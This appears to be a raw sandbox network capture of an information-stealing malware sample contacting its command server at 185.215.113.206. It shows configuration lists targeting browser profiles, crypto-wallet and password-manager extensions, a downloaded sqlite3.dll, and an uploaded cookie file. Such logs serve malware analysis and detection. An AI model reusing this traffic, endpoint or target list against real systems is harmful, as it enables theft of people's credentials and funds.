Nov 20, 2024 16:50:26.405087948 CET	407	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:50:26 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 44 67 77 5a 6a 4e 6a 4d 54 52 6a 4d 6a 46 68 59 32 49 77 5a 47 55 32 4d 57 49 77 59 57 55 34 5a 54 6c 6b 4f 47 5a 68 5a 47 51 35 4d 44 68 6a 59 7a 59 33 4d 44 4a 68 4d 54 55 32 59 54 46 69 5a 54 51 77 4e 7a 46 6b 4d 54 4d 30 4d 6d 51 31 4e 6d 55 79 5a 54 6b 78 4f 44 49 31 4f 54 4a 6c 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MDgwZjNjMTRjMjFhY2IwZGU2MWIwYWU4ZTlkOGZhZGQ5MDhjYzY3MDJhMTU2YTFiZTQwNzFkMTM0MmQ1NmUyZTkxODI1OTJlfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 20, 2024 16:50:26.409414053 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGIIDHJEBGIDHJJDBKE Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 30 66 33 63 31 34 63 32 31 61 63 62 30 64 65 36 31 62 30 61 65 38 65 39 64 38 66 61 64 64 39 30 38 63 63 36 37 30 32 61 31 35 36 61 31 62 65 34 30 37 31 64 31 33 34 32 64 35 36 65 32 65 39 31 38 32 35 39 32 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 45 2d 2d 0d 0a Data Ascii: ------JDGIIDHJEBGIDHJJDBKEContent-Disposition: form-data; name="token"080f3c14c21acb0de61b0ae8e9d8fadd908cc6702a156a1be4071d1342d56e2e9182592e------JDGIIDHJEBGIDHJJDBKEContent-Disposition: form-data; name="message"browsers------JDGIIDHJEBGIDHJJDBKE--
Nov 20, 2024 16:50:26.872996092 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:50:26 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 20, 2024 16:50:26.873016119 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 20, 2024 16:50:26.874363899 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJJKFCBGIDGHIECGCBK Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4a 4b 46 43 42 47 49 44 47 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 30 66 33 63 31 34 63 32 31 61 63 62 30 64 65 36 31 62 30 61 65 38 65 39 64 38 66 61 64 64 39 30 38 63 63 36 37 30 32 61 31 35 36 61 31 62 65 34 30 37 31 64 31 33 34 32 64 35 36 65 32 65 39 31 38 32 35 39 32 65 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4a 4b 46 43 42 47 49 44 47 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4a 4b 46 43 42 47 49 44 47 48 49 45 43 47 43 42 4b 2d 2d 0d 0a Data Ascii: ------EHJJKFCBGIDGHIECGCBKContent-Disposition: form-data; name="token"080f3c14c21acb0de61b0ae8e9d8fadd908cc6702a156a1be4071d1342d56e2e9182592e------EHJJKFCBGIDGHIECGCBKContent-Disposition: form-data; name="message"plugins------EHJJKFCBGIDGHIECGCBK--
Nov 20, 2024 16:50:27.336976051 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:50:27 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 20, 2024 16:50:27.337002039 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 20, 2024 16:50:27.337016106 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 20, 2024 16:50:27.337028027 CET	372	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 20, 2024 16:50:27.337039948 CET	1236	IN	Data Raw: 63 69 42 51 59 58 4e 7a 64 32 39 79 5a 43 42 4e 59 57 35 68 5a 32 56 79 66 47 6c 74 62 47 39 70 5a 6d 74 6e 61 6d 46 6e 5a 32 68 75 62 6d 4e 71 61 32 68 6e 5a 32 52 6f 59 57 78 74 59 32 35 6d 61 32 78 72 66 44 46 38 4d 48 77 77 66 45 46 31 64 47 Data Ascii: ciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHB
Nov 20, 2024 16:50:27.337054968 CET	1236	IN	Data Raw: 61 47 52 6a 62 32 35 6b 59 6d 4e 69 5a 47 35 69 5a 57 56 77 63 47 64 6b 63 47 68 38 4d 58 77 77 66 44 42 38 55 6d 6c 7a 5a 53 41 74 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 6f 59 6d 4a 6e 59 6d 56 77 61 47 64 76 61 6d 6c 72 59 57 Data Ascii: aGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5
Nov 20, 2024 16:50:27.345341921 CET	448	IN	Data Raw: 62 47 56 30 66 47 39 71 5a 32 64 74 59 32 68 73 5a 32 68 75 61 6d 78 68 63 47 31 6d 59 6d 35 71 61 47 39 73 5a 6d 70 72 61 57 6c 6b 59 6d 4e 6f 66 44 46 38 4d 48 77 77 66 46 42 31 62 48 4e 6c 49 46 64 68 62 47 78 6c 64 43 42 44 61 48 4a 76 62 57 Data Ascii: bGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21
Nov 20, 2024 16:50:27.346776962 CET	344	IN	Data Raw: 59 57 78 73 5a 58 52 38 59 58 42 6c 62 6d 74 6d 59 6d 4a 77 62 57 68 70 61 47 56 6f 62 57 6c 6f 62 6d 52 74 62 57 4e 6b 59 57 35 68 59 32 39 73 62 6d 68 38 4d 58 77 77 66 44 42 38 51 6d 6c 30 5a 32 56 30 49 46 64 68 62 47 78 6c 64 48 78 71 61 57 Data Ascii: YWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGV
Nov 20, 2024 16:50:27.348418951 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJDGCGHCGHCBFHJJKKJE Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 30 66 33 63 31 34 63 32 31 61 63 62 30 64 65 36 31 62 30 61 65 38 65 39 64 38 66 61 64 64 39 30 38 63 63 36 37 30 32 61 31 35 36 61 31 62 65 34 30 37 31 64 31 33 34 32 64 35 36 65 32 65 39 31 38 32 35 39 32 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 2d 2d 0d 0a Data Ascii: ------JJDGCGHCGHCBFHJJKKJEContent-Disposition: form-data; name="token"080f3c14c21acb0de61b0ae8e9d8fadd908cc6702a156a1be4071d1342d56e2e9182592e------JJDGCGHCGHCBFHJJKKJEContent-Disposition: form-data; name="message"fplugins------JJDGCGHCGHCBFHJJKKJE--
Nov 20, 2024 16:50:27.810210943 CET	335	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:50:27 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 20, 2024 16:50:27.841223001 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHJDGHIJDGCBAAAAAFIJ Host: 185.215.113.206 Content-Length: 6095 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 16:50:27.841279030 CET	6095	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 30 66 33 63 Data Ascii: ------FHJDGHIJDGCBAAAAAFIJContent-Disposition: form-data; name="token"080f3c14c21acb0de61b0ae8e9d8fadd908cc6702a156a1be4071d1342d56e2e9182592e------FHJDGHIJDGCBAAAAAFIJContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 20, 2024 16:50:28.828190088 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:50:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 16:50:29.110518932 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 16:50:29.572582006 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:50:29 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 20, 2024 16:50:29.572884083 CET	124	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49732	185.215.113.206	80	1556	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:50:38.940628052 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEHIIDGCFHIEGDGCBFHD Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 30 66 33 63 31 34 63 32 31 61 63 62 30 64 65 36 31 62 30 61 65 38 65 39 64 38 66 61 64 64 39 30 38 63 63 36 37 30 32 61 31 35 36 61 31 62 65 34 30 37 31 64 31 33 34 32 64 35 36 65 32 65 39 31 38 32 35 39 32 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------JEHIIDGCFHIEGDGCBFHDContent-Disposition: form-data; name="token"080f3c14c21acb0de61b0ae8e9d8fadd908cc6702a156a1be4071d1342d56e2e9182592e------JEHIIDGCFHIEGDGCBFHDContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------JEHIIDGCFHIEGDGCBFHDContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------JEHIIDGCFHIEGDGCBFHD--
